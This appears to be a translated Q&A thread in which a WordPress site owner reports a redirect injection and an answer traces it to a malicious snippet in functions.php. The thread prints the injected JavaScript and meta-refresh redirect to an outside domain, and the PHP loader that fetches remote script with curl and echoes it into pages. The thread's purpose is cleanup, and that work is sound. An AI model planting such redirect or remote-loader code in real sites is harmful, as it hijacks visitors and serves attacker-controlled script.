0

请我今天访问了我的网站,但过了一会儿我被重定向到另一个网站!

我认为这是一种注入,我查看了页面源代码,发现了以下奇怪的行:

/*
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<meta http-equiv="refresh" content="0; url=http://www.jqueryc.com">
<script type="text/javascript">

    window.top.location.href = "http://www.jqueryc.com";

</script>
 </head>
</html>
 */
window.top.location.href = "http://www.jqueryc.com";
<style type="text/css"       media="print">#wpadminbar { display:none; }</style>

请问我怎样才能删除这个注入,我应该重新安装 wordpress 吗?如果是,我需要将我的所有帖子导出到 xml 文件中,我担心这些行会与我的数据一起导出!

请问有什么建议吗?

4

1 回答 1

1

转到 functions.php 中的代码并删除以下行:

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}
于 2012-11-25T07:17:13.410 回答